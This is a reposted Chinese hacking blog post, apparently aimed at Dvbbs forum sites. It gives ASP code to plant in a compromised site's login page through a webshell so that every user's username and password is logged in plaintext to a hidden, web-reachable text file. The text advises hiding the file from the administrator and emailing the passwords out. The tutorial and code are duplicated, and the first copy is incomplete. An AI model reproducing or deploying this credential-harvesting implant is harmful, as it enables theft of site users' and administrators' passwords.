很多人在得到动网的数据库后郁闷不已
（呀的，管理员的变态密码让我们的机器跑砸了都没辙)
Now We Have Another Method!!!!!
这就是用asp记录明文密码。
用法：1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。
2.将PATH换成web下可访问的路径,如:C:\Inetpub\wwwroot\...\Info.txt（info.txt的路径越深越好，防止admin发现)
3.你的webshell必须有权限修改文件且FileSystemObject可用。
4.一段时间后在IE上访问: [url]http://.../Info.txt[/url] 就 可以看到登录过的用户的帐号密码。
5.在IE上输 [url]http://.../[/url] (which your modified).asp?u=del可一清楚info.txt的内容。
注意：1.你可以为它添加其他功能，例如：已记录的用户不再重复记录，用邮件接收密码等等。
2.为了防止info.txt过大，我用清空info.txt的方法。
当然你可以新建文件来解决此问题。
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
--------------------------------------------------------------------
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile(PATH,2,True)
file.WriteLine ""
End If
If fso.FileExists("PATH") Then
set file=fso.OpenTextFile(PATH,8,True)
Else
set file=fso.CreateTextFile(PATH)
end if
file.WriteLine "Username:"+Request.form("Username")
file.WriteLine "Password:"+Request.form("password")
file.close
set file3=fso.GetFile(PATH)
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
（呀的，管理员的变态密码让我们的机器跑砸了都没辙)
Now We Have Another Method!!!!!
这就是用asp记录明文密码。
用法：1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。
2.将PATH换成web下可访问的路径,如:C:\Inetpub\wwwroot\...\Info.txt（info.txt的路径越深越好，防止admin发现)
3.你的webshell必须有权限修改文件且FileSystemObject可用。
4.一段时间后在IE上访问: [url]http://.../Info.txt[/url] 就 可以看到登录过的用户的帐号密码。
5.在IE上输 [url]http://.../[/url] (which your modified).asp?u=del可一清楚info.txt的内容。
注意：1.你可以为它添加其他功能，例如：已记录的用户不再重复记录，用邮件接收密码等等。
2.为了防止info.txt过大，我用清空info.txt的方法。
当然你可以新建文件来解决此问题。
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
--------------------------------------------------------------------
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile(PATH,2,True)
file.WriteLine ""
End If
If fso.FileExists("PATH") Then
set file=fso.OpenTextFile(PATH,8,True)
Else
set file=fso.CreateTextFile(PATH)
end if
file.WriteLine "Username:"+Request.form("Username")
file.WriteLine "Password:"+Request.form("password")
file.close
set file3=fso.GetFile(PATH)
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
%>
本文转自loveme2351CTO博客，原文链接：http://blog.51cto.com/loveme23/8520 ，如需转载请自行联系原作者
